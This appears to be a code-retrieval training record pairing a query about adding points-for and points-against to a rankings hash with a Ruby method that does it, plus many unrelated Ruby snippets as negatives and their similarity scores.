"def calculate_bonus(amount, bonus)\n bonus ? amount / 2 : 0\nend",
"def discount_from_default_plan\n default_price = Offer.where(default:true).first.best_value_plan.price_per_month\n this_price = price_per_month\n 100 - (100.0*(this_price/default_price.to_f)).to_i\n end",
"def calculate_bonus(salary, bonus)\n \n return salary / 2 if bonus\n 0\nend",
"def calculate_bonus(salary, bonus = true)\n if bonus == true\n bonus_amount = salary / 2\n else\n bonus_amount = 0\n end\n bonus_amount\nend",
"def gross_salary(salary, bonus)\n bonus == true ? (salary += (salary*0.5)).to_i : salary.to_i\nend",
"def calculate_bonus(salary, give_bonus)\n return 0 unless give_bonus\n\n salary / 2\nend",
"def calculate_bonus(salary, eligible)\n bonus = if eligible\n salary / 2\n else\n 0\n end\nend",
"def calculate_bonus(num,pay)\n if pay; return num /2 else return 0 end\nend",
"def getBasicValue\n minBonus\n end",
"def calculate_bonus(salary, bonus)\n if bonus == true\n salary / 2\n else\n 0\n end\nend",
"def calculate_bonus(salary, bonus)\n if bonus == true\n salary / 2\n else\n 0\n end\nend",
"def getSpecialValue\n maxBonus\n end",
"def calculate_bonus(salary, bonus)\n bonus ? salary / 2.0 : 0\nend",
"def calculate_bonus(salary, bonus)\n bonus ? (salary / 2) : 0\nend",
"def calculate_bonus(salary, bonus)\n bonus ? (salary / 2) : 0\nend",
"def calculate_bonus(salary, bonus)\n bonus ? (salary / 2) : 0\nend",
"def calculate_bonus(salary, bonus)\n bonus ? (salary / 2) : 0\nend",
"def calculate_bonus(salary, bonus)\n bonus ? (salary / 2) : 0\nend",
"def calculate_bonus(salary, bonus)\n bonus ? (salary / 2) : 0 \nend",
"def calculate_bonus(salary, bonus)\n bonus ? (salary.to_f / 2).round(2) : 0\nend",
"def calculate_bonus(salary, bonus)\n bonus_amount = 0\n if bonus == true\n bonus_amount = salary / 2\n else\n bonus_amount\n end\nend",
"def adjustment\n return 0 unless eligible?\n\n calculation\n end",
"def calculate_bonus(salary, bonus)\n bonus ? salary / 2 : 0\nend",
"def calculate_bonus(salary, bonus)\n bonus ? salary / 2 : 0\nend",
"def calculate_bonus(salary, bonus)\n bonus ? salary / 2 : 0\nend",
"def add_bonus(score, inspect_value, bonus_value = 5)\n if score > 0 && inspect_value == '1'\n return (bonus_value)\n end\n return 0\nend",
"def calculate_bonus(salary, bonus)\n bonus == true ? salary * 0.5 : 0\nend",
"def calculate_bonus(int, bonus)\n if bonus\n p int / 2\n else\n p 0\n end\nend",
"def level_bonus\n (MAX_LEVEL - level) / MAX_LEVEL\n end",
"def calculate_bonus(salary, bonus)\n if bonus == true\n salary / 2\n elsif bonus == false\n 0\n end\nend",
"def calculate_bonus(salary, gets_bonus) \n bonus = 0\n bonus = salary / 2 if gets_bonus\n bonus\nend",
"def calculate_bonus(salary, gets_bonus = true)\n gets_bonus ? add_commas_to_integer(salary / 2) : 0\nend",
"def rent\r\n if self.actual_rent\r\n return self.actual_rent.price\r\n else\r\n return 0\r\n end\r\n end",
"def positive_adjustment_commission(event)\n additional_charges = event.additional_charges.nil? ? 0 : event.additional_charges\n comm = ((additional_charges + ((event.amount_of_guests - event.minimum_guarantee) * event.base_price)) * COMMISSION_RATE) / BREAKAGE_RATE\n comm.round(2)\n end",
"def dodge_bonus\n 0\n end",
"def fow_bonus(unit)\n return 0\n end",
"def shield_bonus\n 0\n end",
"def min_next_bid_amount\n highest_bid_value = self.highest_bid.bid_amount \n if highest_bid_value.present? \n highest_bid_value+highest_bid_value*0.05\n else\n self.cost\n end\n end",
"def attack_bonus(lv)\n (110 * 3 * lv.to_f + 250) / 100 + 5\n end",
"def max_quarry_discount\n victory_points\n end",
"def penalize_by bonus\n @multiplier += bonus\n yield\n @multiplier -= bonus\n end",
"def tax(amount)\n if amount <= 240\n 0\n elsif amount <= 480\n amount * 0.15\n else\n amount * 0.28\n end\nend",
"def calculate_bonus(integer, boolean)\n boolean ? ((50 * integer)/100) : 0\nend",
"def calculate_bonus(salary, bonus_bol)\n bonus_bol ? salary / 2 : 0\nend",
"def rate_current_price_earnings_ratio(per)\n case \n when per.value < 12\n score = 1\n when per.value > 16\n score = -1\n else\n score = 0\n end\n per.score = score\n return score\n end",
"def calculate_bonus(int, boolean)\n boolean ? int / 2 : 0\nend",
"def depositProfit(deposit, rate, threshold)\n count = 0\n profit = deposit\n \n while profit < threshold do\n count += 1\n profit += ((profit*rate)/100).to_f\n end\n \n if rate == 1\n threshold - deposit\n else\n count\n end\nend",
"def default_rate_in_pounds\n default_rate_pence / 100\n end",
"def points\n made? ? (made_contract_points + overtrick_points + bonus) : undertrick_points\n end",
"def bonus(salary, boolean)\n case boolean\n when true then bonus = salary / 2\n else bonus = 0\n end\n bonus\nend",
"def disbursement_remaining_factor\n approved_amount == 0 ? 0 : 1 - (disbursed_amount / approved_amount.to_f)\n end",
"def tax_money_owed\n if update_taxable <= 43953 && update_taxable >= 0\n update_taxable * 0.15\n elsif update_taxable >= 43954 && update_taxable <=87907\n (43953*0.15) + ((update_taxable-43953) * 0.22)\n elsif update_taxable >= 87908 && update_taxable <=136270\n (43953*0.15)+ (48363*0.22) + (update_taxable * 0.26)\n elsif update_taxable >= 136270\n (43953*0.15)+ (48363*0.22)+ (43954*0.26) + (update_taxable * 0.29)\n else\n update_taxable \n end\n end",
"def calc_return(total, pool, commission)\n if pool == 0\n return 0\n elsif total == 0\n return ( pool - (pool*commission) ) \n else\n return ( pool - (pool*commission) ) / total.to_f\n end\n end",
"def disbursement_factor\n approved_amount == 0 ? 0 : disbursed_amount / approved_amount.to_f\n end",
"def get_default_cash(curr_cash)\n return prompt_positive_integer(\"How much cash per player? [#{curr_cash}]\", curr_cash)\n end",
"def deposit\n if admin_use\n 0\n elsif estimated_numbers < 20\n 150\n elsif estimated_numbers < 40\n 300\n else\n 600\n end\n end",
"def calculate_tip(amount, rating)\n amount = amount.to_i\n if rating == \"Terrible\"\n return (amount * 0).to_i\n elsif rating == \"Poor\"\n return (amount * 0.05).to_i\n elsif rating == \"Good\"\n return (amount * 0.10).to_i\n elsif rating == \"Great\"\n return (amount * 0.15).to_i\n elsif rating == \"Excellent\"\n return (amount * 0.20).to_i\n else \n return \"rating not recognized.\"\n end \nend",
"def calculate_bonus(integer, boolean)\n boolean ? integer / 2.0 : 0\nend",
"def bonus(multiplier)\n self.total_subsalary * multiplier\n end",
"def min_price\n result = case self.payment_type\n when :credit_card then Money.new(MIN_CREDIT_CARD_OFFER_CENTS, self.default_currency)\n else\n Money.new(MIN_PIGGY_BANK_OFFER_CENTS, self.default_currency)\n end\n if self.kase && self.kase.offers_reward?\n result = Money.max(result, self.kase.max_reward_price || result).convert_to(self.default_currency) +\n Money.new(MIN_PIGGY_BANK_OFFER_CENTS, self.default_currency)\n end\n result\n end",
"def rent_percept_for_renter\n rent_value = 0\n self.accessories.each{|accessory|\n rent_value += ((accessory.base + accessory.tarif)*( 1 + (accessory.tax/100) ))\n }\n return rent_value\n end",
"def calculate_bonus(salary,boolean)\n \n if boolean == true\n return (salary / 2) \n else\n return 0\n end\n \nend",
"def rental_car_cost(d)\n total = d * 40\n\n if d >= 3 && d < 7\n total - 20\n elsif d >= 7\n total - 50\n else\n total\n end\nend",
"def hold_bonus\n game_type == 'zones' ? config.bonus || 0 : nil\n end",
"def calculate_bonus(num, boolean)\n boolean ? num / 2 : 0\nend",
"def bonus integer, boolean\n boolean == true ? (integer / 2.0) : 0\nend",
"def btc_profit\n break_even.abs\n end",
"def calculate_bonus(integer, bool)\n if bool\n integer / 2\n else\n 0\n end\nend",
"def amount_multiplier\n 1000\n end",
"def wallet_minimum\n (bet_count / 5) + 10\n end",
"def points_payment\n\t\t(points || 0) * amount / 100\n\tend",
"def minimal_allowed_bid\n if self.winner_bid.positive?\n (self.winner_bid * MINIMAL_INCREASE_BID).to_i\n else\n self.minimal_bid\n end\n end",
"def calculate_bonus(salary, bool)\n bool ? (salary / 2) : 0\nend",
"def promo_code_multiplier\n return 1.0 unless promo_code.present?\n\n (100 - promo_code.discount) / 100.0\n end",
"def calculate_bonus(num, boolean)\n if boolean\n num / 2\n else\n num * 0\n end\nend",
"def calculate_bonus(number, boolean)\n boolean ? number / 2 : 0\nend",
"def discount_value\n return 0 unless order.fixed_pricing?\n\n if free_gift? && pricing_sku.present?\n pricing_sku.find_price(quantity: 1).regular.to_f\n else\n price_adjustment.amount.abs.to_f\n end\n end",
"def counting_recommended_bet(player)\n count = @shoe.count\n if count <= 1\n bet = player.min_bet\n elsif count <= 10\n bet = player.min_bet + player.betting_unit * count\n else\n bet = player.min_bet + player.betting_unit * 10 + (player.betting_unit * (count/3))\n end\n \"#{player.name}, your recommended bet is $#{bet}. \"\n end",
"def proficiency_bonus\n\t\t(level()+3)/4 + 1\n\tend",
"def remaining_balance_penalty\n\t\tif self.total_amount.blank? || self.penalty == 0\n\t\t\tbalance = 0\n\t\telsif self.penalty - paid_total <= 0\n\t\t\tbalance = 0\n\t\telse\n\t\t\tbalance = self.penalty - paid_total\n\t\tend\n\n\t\tif balance <= 0\n return 0\n else\n return balance\n end\n\tend",
"def calculate_bonus(salary, boolean)\n boolean ? (salary/2.0) : 0\nend",
"def calculate_bonus(integer,boolean)\n boolean == true ? integer * 0.5 : 0\nend",
"def bonus_time(salary, bonus)\n salary = (salary*10).to_i if bonus == true\n \"$#{salary}\"\nend",
"def recommended_min_portfolio\n annualized_portfolio_amount_needed / withdrawal_rate\n end",
"def frame_bonus\n return 0 if last_frame?\n \n case\n when strike?\n if next_frame.last_frame? # last frame, add first two elements\n next_frame.first_two \n elsif next_frame.strike? # next frame is a strike, add 'next-next' element\n next_frame.roll_1 + next_frame.next_frame.roll_1\n else\n next_frame.first_two \n end\n when spare?\n next_frame.roll_1\n else\n 0 # no bonus\n end\n end",
"def effective_level\n level + level_bonus\n end",
"def vulnerable_undertrick_points\n if !made?\n p = -100 * modifier\n if result < -1\n return p += (result + 1) * 300 if doubled?\n return p += (result + 1) * 600 if redoubled?\n return p += (result + 1) * 100\n end\n p\n else\n 0\n end\n end",
"def withdrawal_rate\n (youngest_person_retirement_age - 15.0) / 1000.0\n end",
"def bonus(i, boolean=false)\n return 0 unless boolean\n i / 2\nend",
"def calculate_tip(amount, rating)\n rating = rating.downcase\n case\n when rating == \"terrible\"\n return 0\n when rating == \"poor\"\n return (amount * 0.05).ceil\n when rating == \"good\"\n return (amount * 0.10).ceil\n when rating == \"great\"\n return (amount * 0.15).ceil\n when rating == \"excellent\"\n return (amount * 0.20).ceil\n else\n \"Rating not recognised\"\n end\nend",
"def profit\n total_before_tax - total_cost\n end",
"def profit\n total_before_tax - total_cost\n end",
"def penalty_total\n self.added_penalties.each{|added_penalty| self.calculate_penalties if added_penalty.count_generated_at < MyDate::today}\n if self.added_penalties == []\n return\n elsif self.added_penalties[0].sum == 0\n return\n else\n self.added_penalties[0].sum\n end\n end",
"def calculate_tip(amount, rating)\n return (amount * 0.00).ceil if rating.downcase == \"terrible\"\n return (amount * 0.05).ceil if rating.downcase == \"poor\"\n return (amount * 0.10).ceil if rating.downcase == \"good\"\n return (amount * 0.15).ceil if rating.downcase == \"great\"\n return (amount * 0.20).ceil if rating.downcase == \"excellent\"\n 'Rating not recognised'\nend",
"def calculate_bonus(salary, boolean)\n boolean ? (salary.to_f / 2) : 0\nend",
"def discount_coefficient(item)\n 1 - discount(item) / 100.0\n end",
"def total_min_cost_incl_discount_and_vat_cents\n total = self.total_min_cost_ex_discount_and_vat_cents\n # Apply discount\n total = total - self.calculate_discount_for(total)\n # Apply VAT\n total = total + self.calculate_tax_for(total)\n \n total.to_i\n end"
] |
[
"0.70437384",
"0.7017262",
"0.6772011",
"0.6704881",
"0.6688063",
"0.66795784",
"0.65565395",
"0.65213734",
"0.6519631",
"0.65092486",
"0.65091854",
"0.6497602",
"0.6458027",
"0.64510334",
"0.64487284",
"0.64338624",
"0.6414028",
"0.64074206",
"0.64074206",
"0.64074206",
"0.64074206",
"0.64074206",
"0.6398364",
"0.6393834",
"0.6391077",
"0.6384953",
"0.6377841",
"0.6377841",
"0.6377841",
"0.6365902",
"0.62925345",
"0.6289138",
"0.62503505",
"0.62421846",
"0.6231142",
"0.62241167",
"0.6205168",
"0.61669886",
"0.61660504",
"0.6131753",
"0.61283845",
"0.6125593",
"0.6125578",
"0.61077625",
"0.6099886",
"0.60734695",
"0.6068164",
"0.6056277",
"0.60472256",
"0.60358745",
"0.60286486",
"0.60237324",
"0.60126936",
"0.6010686",
"0.5995094",
"0.5994829",
"0.598473",
"0.5979892",
"0.5976187",
"0.59662896",
"0.59591883",
"0.5949782",
"0.59446466",
"0.5935203",
"0.59289473",
"0.5925842",
"0.5923061",
"0.59227854",
"0.5919735",
"0.5910794",
"0.5900529",
"0.5898726",
"0.5891806",
"0.5874719",
"0.5862275",
"0.5853856",
"0.58473265",
"0.5843642",
"0.5841824",
"0.5838307",
"0.58329034",
"0.58306766",
"0.58244956",
"0.5822426",
"0.58190924",
"0.5818215",
"0.5816975",
"0.5803031",
"0.57957244",
"0.5778959",
"0.5775382",
"0.5772024",
"0.57672584",
"0.5766705",
"0.57656205",
"0.57656205",
"0.57586443",
"0.57573766",
"0.57511264",
"0.5744772",
"0.57417154"
] |
0.0
|
-1
|
Adding points against and points for to rankings hash
|
def add_points(team)
games_played = Game.where("team_one = #{team.id} or team_two = #{team.id}")
@rankings[team.name]["points_for"] = 0
@rankings[team.name]["points_against"] = 0
if !games_played.nil?
games_played.each do |game|
if !game.winner.nil? && !game.winner_score.nil?
if team.id == game.winner # if team won, add winner points to PF and losing points to PA
@rankings[team.name]["points_for"] += game.winner_score
@rankings[team.name]["points_against"] += game.loser_score
else # if team lost, add winner points to PA and losing points to PF
@rankings[team.name]["points_for"] += game.loser_score
@rankings[team.name]["points_against"] += game.winner_score
end
end
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hash\n @points.inject(0) { |sum, point| sum += point.x + point.y }\n end",
"def get_rankings\n #create tmp hash storage for all the rows in the rankings table\n row_holder = Hash.new { |hash, key| hash[key] =\n {'played' => 0, '3_points' => 0, '2_points' => 0, '1_point' => 0,\n '0_points' => 0, 'won_sets' => 0, 'lost_sets' => 0, 'points' => 0,\n 'name' => key}}\n\n @games.each do |g|\n if g.has_been_played?\n #add played game for both teams\n row_holder[g.home_team]['played'] += 1\n row_holder[g.away_team]['played'] += 1\n\n #add won sets for each team\n row_holder[g.home_team]['won_sets'] += g.home_sets\n row_holder[g.away_team]['won_sets'] += g.away_sets\n\n #add lost sets for each team\n row_holder[g.home_team]['lost_sets'] += g.away_sets\n row_holder[g.away_team]['lost_sets'] += g.home_sets\n\n #handle all different game outcomes, prepare for ugly code\n #handle 3-0 and 3-1\n if (g.home_sets == 3) && (g.away_sets < 2)\n row_holder[g.home_team]['points'] += 3\n row_holder[g.home_team]['3_points'] += 1\n row_holder[g.away_team]['0_points'] += 1\n\n #handle 3-2\n elsif (g.home_sets == 3) && (g.away_sets == 2)\n row_holder[g.home_team]['points'] += 2\n row_holder[g.away_team]['points'] += 1\n row_holder[g.home_team]['2_points'] += 1\n row_holder[g.away_team]['1_point'] += 1\n\n #handle 2-3\n elsif (g.home_sets == 2) && (g.away_sets ==3)\n row_holder[g.away_team]['points'] += 2\n row_holder[g.home_team]['points'] += 1\n row_holder[g.home_team]['1_point'] += 1\n row_holder[g.away_team]['2_points'] += 1\n\n #handle 0-3 and 1-3\n elsif (g.home_sets < 2) && (g.away_sets == 3)\n row_holder[g.away_team]['points'] += 3\n row_holder[g.home_team]['0_points'] += 1\n row_holder[g.away_team]['3_points'] += 1\n end\n\n # make sure hash is generated when no games have been played yet\n else\n row_holder[g.home_team]['played'] += 0\n row_holder[g.away_team]['played'] += 0\n end\n end\n\n\n\n #convert the row_holder hash to a sorted array\n sort_ranking(row_holder)\n end",
"def set_rank\n RANKS_HASH.each do |rank, range|\n update_column(:singles_rank, rank.to_s.humanize) if singles_points&.between?(range.first, range.last)\n update_column(:doubles_rank, rank.to_s.humanize) if doubles_points&.between?(range.first, range.last)\n update_column(:womens_singles_rank, rank.to_s.humanize) if womens_singles_points&.between?(range.first, range.last)\n update_column(:womens_doubles_rank, rank.to_s.humanize) if womens_doubles_points&.between?(range.first, range.last)\n end\n end",
"def points(name)\n \n consolidated_player_list = game_hash[:home][:players] + game_hash[:away][:players]\n consolidated_player_list\n player_stat_hash = {}\n\n consolidated_player_list.each do |player|\n key = player[:player_name]\n player_stat_hash[key] = player\n end\n\n points = 0\n player_stat_hash.each do |player|\n points = player[1][:points] if player[0] == name\n end\n points\nend",
"def results(ballots, candidates)\n\n candidates.each do |can, points|\n ballots.each do |ballot|\n ballot.each do |num, vote|\n if can == vote && num == 1\n candidates[can] += 4\n elsif can == vote && num == 2\n candidates[can] += 2\n elsif can == vote && num == 3\n candidates[can] += 1\n end\n end\n end\n end\n return candidates\n\nend",
"def hash\n [rank, suit].hash\n end",
"def extra_points_hash(extra_points_xml, kicking_xml, two_points_xml)\n overall = attempts_made(extra_points_xml)\n overall[:kicking] = kicking_hash(kicking_xml)\n overall[:two_points] = attempts_made(two_points_xml)\n overall\n end",
"def sort_ranking\n @sorted_hash = @hash_ranking.sort_by { |_name, points| -points }\n @sorted_hash = @sorted_hash.first(10)\n @sorted_hash.map { |k, v| \"#{k}\\t#{v}\" }.join(\"\\n\")\n end",
"def recalculate_points\n # First, clear the points for all users and add any winners_tips points.\n users = User.all\n users.each do |u|\n u.points = 0\n if u.admin?\n # If we don't do this, there is a risk that we get the key and not \"the other\" winners_tip\n u.winners_tip = WinnersTip.where(:user_id => u.id, :key => false).first\n end\n if u.winners_tip\n u.points = u.winners_tip.points\n end\n u.save\n end\n\n # Loop through all games and add the points\n games = Game.all\n games.each do |game|\n if game.final? then\n tips = game.tips\n tips.each do |tip|\n tip.user.points += tip.points\n tip.user.save\n end\n end\n end\n end",
"def calculate_result_ranks(round_id)\n puts \"calculate_result_ranks(#{round_id})\"\n\n rank = 1\n num_ties = 0\n prev_score = -1\n results = Result.all.where(round_complete: true).where(\"round_id = ?\",round_id).order(points: :desc).each{ \n |t| \n if (t.points == prev_score)\n num_ties += 1\n else\n num_ties = 0\n end\n t.update(rank: rank - num_ties); \n rank += 1; \n prev_score = t.points\n }\n end",
"def rank(locations, center, userList)\n @points = []\n locations.each do |location|\n @points.push({\"id\" => location.id, \"lat\" => location.lat, \"lng\" => location.lng})\n end\n\n #Compute time from each user to all points\n userList.each do |user|\n if user.latitude && user.longitude\n request = {\n \"format\" => \"json\",\n \"api_id\" => API_ID,\n \"api_key\" => API_KEY,\n \"origin\" => { \"lat\" => user.latitude, \"lng\" => user.longitude },\n \"travel_time\" => \"36000\",\n \"mode\" => \"driving\",\n \"points\" => @points\n }.to_json\n url = 'http://api.igeolise.com/time_filter'\n user.times = ActiveSupport::JSON.decode(RestClient.post(url, request, :content_type => :json, :accept => :json))\n user.times.each do |result|\n @points.select { |p| p[\"id\"] = result.id }.totalTime += result.time\n end\n else\n user.times = [];\n end\n end\n\n #Compute average time to each point\n @points.each do |point|\n point.averageTime = point.time / userList.count\n end\n\n #Compute sum of squares of the difference of usertime and averagetime\n @points.each do |point|\n @userList.each do |user|\n timeForUser = user.times.select { |p| p[\"id\"] = point.id}.time\n point.totalSquareTime += (timeForUser - point.averageTime)^2\n end\n end\n\n\n #Maybe check if place is open using google api?\n\n #Sort points by min totalSquareTime\n @points.sort! { |a,b| a.totalSquareTime <=> b.totalSquareTime }\n end",
"def points\n points_by_round = [nil, 3, 5, 8, 13, 21, 34]\n points_by_round[@game.round] + @winner.seed\n end",
"def find_relative_ranks(nums)\n hash = {}\n nums.each_with_index do |num, index|\n hash[num] = index\n end\n hash = hash.sort.to_h\n print hash\n count = 0\n hash.each do |k, v|\n if count == nums.size - 3\n nums[v] = \"Bronze Medal\"\n elsif count == nums.size - 2\n nums[v] = \"Silver Medal\"\n elsif count == nums.size - 1\n nums[v] = \"Gold Medal\"\n else\n nums[v] = (nums.size - count).to_s\n end\n count += 1\n end\n nums\nend",
"def convert_tricks_to_points\n trick_scores.each do |team, tricks_count|\n points[team] += tricks_count * POINTS_PER_TRICK;\n end\n\n scoreboard.reset_trick_scores\n end",
"def calculate_rank_and_grade \n points_off = 0\n points_off += self.opt_out_count * 5 \n points_off += self.un_solicited_count * 10 \n points_off += self.sell_count * 21 \n points_off += self.vulgar_count * 31 \n points_off = points_off/(self.surveys.count) \n result = case rank = 100 - points_off\n when 96..500 then \"A+\"\n when 90..95 then \"A-\"\n when 80..89 then \"B\"\n when 70..79 then \"C\"\n when 60..69 then \"D\"\n when 0..60 then \"F\"\n end\n self.grade = result\n self.rank = rank\n end",
"def rank_by_only_points\n list = self.tournament.get_ranked_list_from_only_points.to_a;\n #return (list.index(self) + 1);\n #this was a nice idea, but it doesn't work because of ties\n \n i = 0;\n current_rank = 1;\n previous_points = -1;\n number_tied_teams = 0;\n while list[0] != self #go through list until we find us\n #if points of team before was the same, no rank increase\n #but we count the number of teams on same points\n #then add them all at once to the rank\n if (previous_points > list[0].points) || (previous_points == -1)\n current_rank = current_rank + number_tied_teams + 1;\n previous_points = list[0].points;\n number_tied_teams = 0;\n else #in this case we had teams on same num points\n number_tied_teams = number_tied_teams + 1;\n end\n i = i + 1;\n end\n\n return current_rank;\n end",
"def points(games)\n games.sum { |score| [1, 3, 0][score[0] <=> score[2]] }\nend",
"def game\nranks = [2, 3, 4, 5, 6, 7, 8, 9, 10, \"J\", \"Q\", \"K\", \"A\"]\nsuits = [ \"hearts\", \"spades\", \"clubs\", \"diamonds\" ]\ndeck = []\npoints = []\n\nranks.each_with_index do |rank, score|\n suits.each do |suit|\n deck.push({\n points: points,\n ranks: rank,\n suits: suit\n })\n\n end\n end\n\n return deck.shuffle\nend",
"def calculate_team_points_by_final_rank\n # Calculate how many points to award to each rank. When multiple teams\n # have the same rank (e.g., two teams tie for 5th place), those teams\n # get the average of the points available to those ranks. For example,\n # in a 6-team bracket, the teams in 1st through 4th place get 6 through 3\n # points respectively. The two teams in 5th get 1.5, the average of 2 and 1.\n sorted_teams = @teams.sort_by(&:final_rank)\n num_teams = sorted_teams.size.to_f\n\n final_rank_points = sorted_teams.each_with_index.\n each_with_object({}) do |(team, idx), rank_points|\n rank_points[team.final_rank] ||= []\n rank_points[team.final_rank] << num_teams - idx\n end\n\n base_point_value = @config.base_point_value\n\n sorted_teams.each do |team|\n points_earned = final_rank_points[team.final_rank].sum /\n final_rank_points[team.final_rank].size\n\n puts \"#{team.name} finished in position #{team.final_rank} and gets\" \\\n \" #{points_earned} points\" \\\n \"#{\" + #{base_point_value} base\" if base_point_value > 0}\"\n\n team.points = points_earned + base_point_value\n end\n end",
"def add_points(points)\n @correct_answers += 1\n @points += points\n end",
"def ranked_points\n points.to_f/User.top_ranked.points.to_f * 100\n end",
"def points\n @results.inject(0.0) { |t, r| t += r.points }\n end",
"def rankings(result_hash)\n @rankings ||= {}\n @rankings.fetch(result_hash) do\n common_columns = %w{metric}\n granularities = %w{file_path class_name method_name}\n tool_analyzers = MetricFu::Hotspot.analyzers\n analyzer_columns = common_columns + granularities + tool_analyzers.map(&:columns).flatten\n\n analyzer_tables = MetricFu::AnalyzerTables.new(analyzer_columns)\n tool_analyzers.each do |analyzer|\n analyzer.generate_records(result_hash[analyzer.name], analyzer_tables.table)\n end\n analyzer_tables.generate_records\n rankings = MetricFu::HotspotRankings.new(analyzer_tables.tool_tables)\n rankings.calculate_scores(tool_analyzers, granularities)\n @rankings[result_hash] = rankings\n rankings\n end\n end",
"def calculate_player_points\n # Sort the teams by points in descending order. This way, the output will\n # follow the teams' finishing order, which will be easier to read.\n @teams.sort_by(&:points).reverse_each do |team|\n puts \"Awarding #{team.points} points to #{team.name}: \" +\n @players[team.id].map(&:to_s).join(\", \")\n\n @players[team.id].each do |player|\n player.points = team.points\n end\n end\n end",
"def update_points(dealer_cards, player_cards, no_of_games = 0, points = [0, 0])\n player = 0\n dealer = 1\n result = detect_result(dealer_cards, player_cards)\n case result\n when :player_busted\n points[dealer] += 1\n when :dealer_busted\n points[player] += 1\n when :player\n points[player] += 1\n when :dealer\n points[dealer] += 1\n end\n\n points\nend",
"def move_points(hash)\n\n\t\tpoints = Hash.new\n\n\t\tgc_hash = hash.select { |k,v| k.to_s.include?('gc') }\n\t\toc_hash = gc_hash.select { |k,v| v.include?('OC') }\n\n\t\t# Calculate OC count to calculate probablity.\n\t\tpoints[:oc_enumerator] = prob_points(oc_hash)\n\t\tpoints[:oc_probability] = return_rational(points[:oc_enumerator]).to_f\n\t\tpoints[:dc] = calculate_gc_dc_roll_probability(points[:oc_enumerator])\n\n\t\t# Calculate TT Roll in GC\n\t\tpoints[:gc_tt_enumerator] = calculate_gc_tt_roll_probability(hash)\n\t\tpoints[:gc_tt_roll] = return_rational(calculate_gc_tt_roll_probability(hash))\n\t\t\n\t\t# Create Symbols for Points\n\t\tfor i in 2..12 do\n\t\t\tdc_points = \"dc%02d_points\" % i\n\t\t\tpoints[dc_points.to_sym] = 0\n\t\t\ti += 1\n\t\tend\n\t\t\n\t\tpoints[:reverse] = 0\n\t\tpoints[:specialty_roll_probability_in_oc] = 0\n\n \t\tfor i in 1..6 do\n\t\t\ts_points = \"s#{i}_points\"\n\t\t\tpoints[s_points.to_sym] = 0\n\t\t\ti += 1\n\t\tend\n\n \t\tpoints[:s_roll_prob_dq] = 0\n\t\tpoints[:s_roll_prob_pa] = 0\n\t\tpoints[:s_roll_prob_sub] = 0\n\t\tpoints[:s_roll_prob_xx] = 0\n\n\t\t# TODO: Refactor this into one method\n\t\tfor i in 2..12 do\n\t\t\toc_points = \"oc%02d_points\" % i\n\t\t\tpoints[oc_points.to_sym] = 0\n\t\t\ti += 1\n\t\tend\n\n\t\t# TODO: Refactor this into one method\n\t\tfor i in 2..12 do\n\t\t\toc_dq = \"oc%02d_dq\" % i\n\t\t\tpoints[oc_dq.to_sym] = 0\n\t\t\ti += 1\n\t\tend\n\n\t\t# TODO: Refactor this into one method\n\t\tfor i in 2..12 do\n\t\t\toc_pa = \"oc%02d_pa\" % i\n\t\t\tpoints[oc_pa.to_sym] = 0\n\t\t\ti += 1\n\t\tend\n\n\t\t# TODO: Refactor this into one method\n\t\tfor i in 2..12 do\n\t\t\toc_sub = \"oc%02d_sub\" % i\n\t\t\tpoints[oc_sub.to_sym] = 0\n\t\t\ti += 1\n\t\tend\n\n\t\t# TODO: Refactor this into one method\n\t\tfor i in 2..12 do\n\t\t\toc_xx = \"oc%02d_xx\" % i\n\t\t\tpoints[oc_xx.to_sym] = 0\n\t\t\ti += 1\n\t\tend\n\t\t\n \t\tpoints[:oc_ropes_roll_probability] = 0\n \t\tpoints[:ropes_s_roll_probability] = 0\n\n \t\t# TODO: Refactor this into one method\n \t\tfor i in 2..12 do\n\t\t\tr_points = \"ro%02d_points\" % i\n\t\t\tpoints[r_points.to_sym] = 0\n\t\t\ti += 1\n\t\tend\n\n\t\t# TODO: Refactor this into one method\n\t\tfor i in 2..12 do\n\t\t\tr_dq = \"ro%02d_dq\" % i\n\t\t\tpoints[r_dq.to_sym] = 0\n\t\t\ti += 1\n\t\tend\n\n\t\t# TODO: Refactor this into one method\n\t\tfor i in 2..12 do\n\t\t\tr_pa = \"ro%02d_pa\" % i\n\t\t\tpoints[r_pa.to_sym] = 0\n\t\t\ti += 1\n\t\tend\n\n\t\t# TODO: Refactor this into one method\n\t\tfor i in 2..12 do\n\t\t\tr_sub = \"ro%02d_sub\" % i\n\t\t\tpoints[r_sub.to_sym] = 0\n\t\t\ti += 1\n\t\tend\n\n\t\t# TODO: Refactor this into one method\n\t\tfor i in 2..12 do\n\t\t\tr_xx = \"ro%02d_xx\" % i\n\t\t\tpoints[r_xx.to_sym] = 0\n\t\t\ti += 1\n\t\tend\n\n\t\tpoints[:sub_numerator] = 0\n\t\tpoints[:tag_save_numerator] = 0\n\n\t\t# Determine Points for DC Rolls\n\t\tdc_hash = hash.select { |k,v| k.to_s.include?('dc') }\n\t\tdc_hash.each { | k,v|\n\t\t\tif v == \"A\"\n\t\t\t\tpoints[\"#{k}_points\".to_sym] = DC_A\n\t\t\telsif v == \"C\"\n\t\t\t\tpoints[\"#{k}_points\".to_sym] = DC_C\n\t\t\telse\n\t\t\t\tpoints[\"#{k}_points\".to_sym] = DC_B\n\t\t\tend\n\t\t}\n\n\t\t# Calculate Reverse Roll in DC\n\t\treverse_roll = 0\n\t\tr_hash = hash.select { |k,v| k.to_s.include?('dc') && v.downcase.include?('reverse') }\n\t\tpoints[:reverse] = prob_points(r_hash)\n\n\t\t# Determine (S) Points\n\t\tpoints[:s1_points] = hash[:s1].split[0].to_i\n \t\tpoints[:s2_points] = hash[:s2].split[0].to_i\n \t\tpoints[:s3_points] = hash[:s3].split[0].to_i\n \t\tpoints[:s4_points] = hash[:s4].split[0].to_i\n \t\tpoints[:s5_points] = hash[:s5].split[0].to_i\n \t\tpoints[:s6_points] = hash[:s6].split[0].to_i\n\n \t\to_moves = hash.select { |k,v| k.to_s.include?('oc') }\n \t\to_moves.each { |k,v|\n \t\t\tkey = \"#{k}_points\".to_sym\n \t\t\tm = remove_move(v)\n \t\t\tpoints[key] = m\n \t\t}\n\n \t\tr_moves = hash.select { |k,v| k.to_s.include?('ro') }\n \t\tr_moves.each { |k,v|\n \t\t\tkey = \"#{k}_points\".to_sym\n \t\t\tm = remove_move(v)\n \t\t\tpoints[key] = m\n \t\t}\n\n \t\t# Get Specialty Roll Numerator in OC\n \t\ts = hash.select { |k,v| k.to_s.include?('oc') && v.include?('(S)') }\n \t\tpoints[:specialty_roll_enumerator_in_oc] = prob_points(s)\n 